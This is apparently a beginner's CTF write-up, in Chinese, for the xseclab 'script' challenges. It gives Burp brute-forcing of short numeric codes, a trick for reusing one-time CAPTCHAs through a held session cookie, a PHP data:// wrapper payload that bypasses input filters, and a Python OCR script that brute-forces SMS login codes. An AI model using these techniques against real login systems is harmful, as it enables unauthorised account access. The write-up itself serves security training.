1、key又又找不到了
打开链接,里边有个跳转,产看源代码:
发现一个界面一闪而逝,所以拦住(bp哦)它,看看有啥玄机:
查看源码,果然在这:
2、快速口算
这个题肯定不是手算啦,写个python脚本即可:
import requests
import re
url='http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s= requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
num=re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0]
result=eval(num)
r=s.post(url,data={'v': eval(num)})
print (r.text)
3、这个题目是空的
空的,什么是空的呢?
提示了小写,意味着肯定是有输入信息的,表示空的那只能是null
了啊
4、key又又找不到了
这个题还是有点难受的啊
首先产看源代码,是一个js在调用a()函数,则说明有一段函数代码,F12在source里找到,直接拿到HTML在线运行工具执行一遍发现不对啊,还是没有弹框,查看代码,发现有三段return干扰代码,直接删除,运行,弹窗了~
这个题目建议在firefox浏览器进行,因为google弹窗不能复制,还会显示干扰 -_-
5、逗比验证码第一期
这个大概测试了一下,不能注入,只能爆破,验证码可以用一个
所以bp拦包,直接爆破,字典就是1000-9999
线程设置高一点,一下子就跑出来了
6、逗比验证码第二期
这个比较复杂,虽然也是爆破,但是由于验证码一次之后就失效了,所以这里我们需要卡一波bug,在第一次输入正确验证码后,留下的cookie值不要让其失效,紧接着验证下一个密码即可,这是大概的原理。
具体操作就是,设置两个爆破点一个就是密码,另一个是vcode,密码就用刚才的四位纯数字字典,另一个字典为空,即可跑出来:
自己耐心点实践哦~,有问题可以大家一起交流
7、逗比的验证码第三期(SESSION)
这个也可以和上边那题目一样:
8、微笑一下就能过关了
这一关,说实话难倒我了,不过找到了一个关键代码:
<?php
header("Content-type: text/html; charset=utf-8");
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include('flag.php');
$smile = 1; // 这里是给smile赋初值
// 下边这些正则表达式进行判断
if (!isset ($_GET['^_^'])) $smile = 0;
if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;
if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
//preg_match ( string $pattern , string $subject , string $matches)
//搜索subject与pattern给定的正则表达式的一个匹配.
//pattern : 要搜索的模式,字符串类型(正则表达式)。
//subject : 输入的字符串。
//matches :(可有亦可无)如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
//所以以上就是把http、https这些在$pattern位置的字符都过滤了
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
//这里是file_exists() 函数检查文件或目录是否存在判断^_^不是一个文件
//下边是这道题目的关键,也是最看不懂的
//大概就是获取^_^的值,赋值给smile
//若(●'◡'●)为smile则返回flag
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
?>
这里构造的payload为:
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?^.^=data://text/plain;charset=unicode,(●'◡'●)
9、逗比的手机验证码
这个登录进去发现需要验证另一个手机,但是又收不到验证码,可以先在自己手机上得到验证码,不要点掉,重新打开一个标签,把另一个手机的验证码填进去,就好了:
10、基情燃烧的岁月
根据提示,制作100-999的字典,直接bp爆破
又发现一个电话号码,接着爆破就OK了
11、验证码识别
这一关有点坑,找了很多方法。。。
这一关主要是验证码会过期,需要工具啥的来配合才能爆破
网上好多人都是用python脚本来跑的:
比如:
import pytesseract
from PIL import Image
import requests
import os
cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=$Your Value'}
def vcode():
# 验证码识别函数
pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
r = requests.get(pic_url, headers=header, timeout=10)
with open(vcode_path, 'wb') as pic:
pic.write(r.content)
im = pytesseract.image_to_string(Image.open(vcode_path))
im = im.replace(' ', '')
if im != '':
return im
else:
return vcode()
url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
for i in range(100, 1000):
code = vcode()
data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
r = requests.post(url, data=data, headers=header, timeout=10)
response = r.content.decode('utf-8')
if 'user_code or mobi_code error' in response:
print('trying ' + str(i))
else:
print('the mobi_code is ' + str(i))
print(response)
break
但是我高了好久都会报错,不是模块的错,python版本是python3.x,反正就是跑不出来,还有好多,还有用工具的。。。太菜了,只能等待后续大佬出新教程了
12题之后的网站我打不开了…脚本关就到这里吧,后续可以了再更新~
·
·
·
·
·
·
·
《小白记录》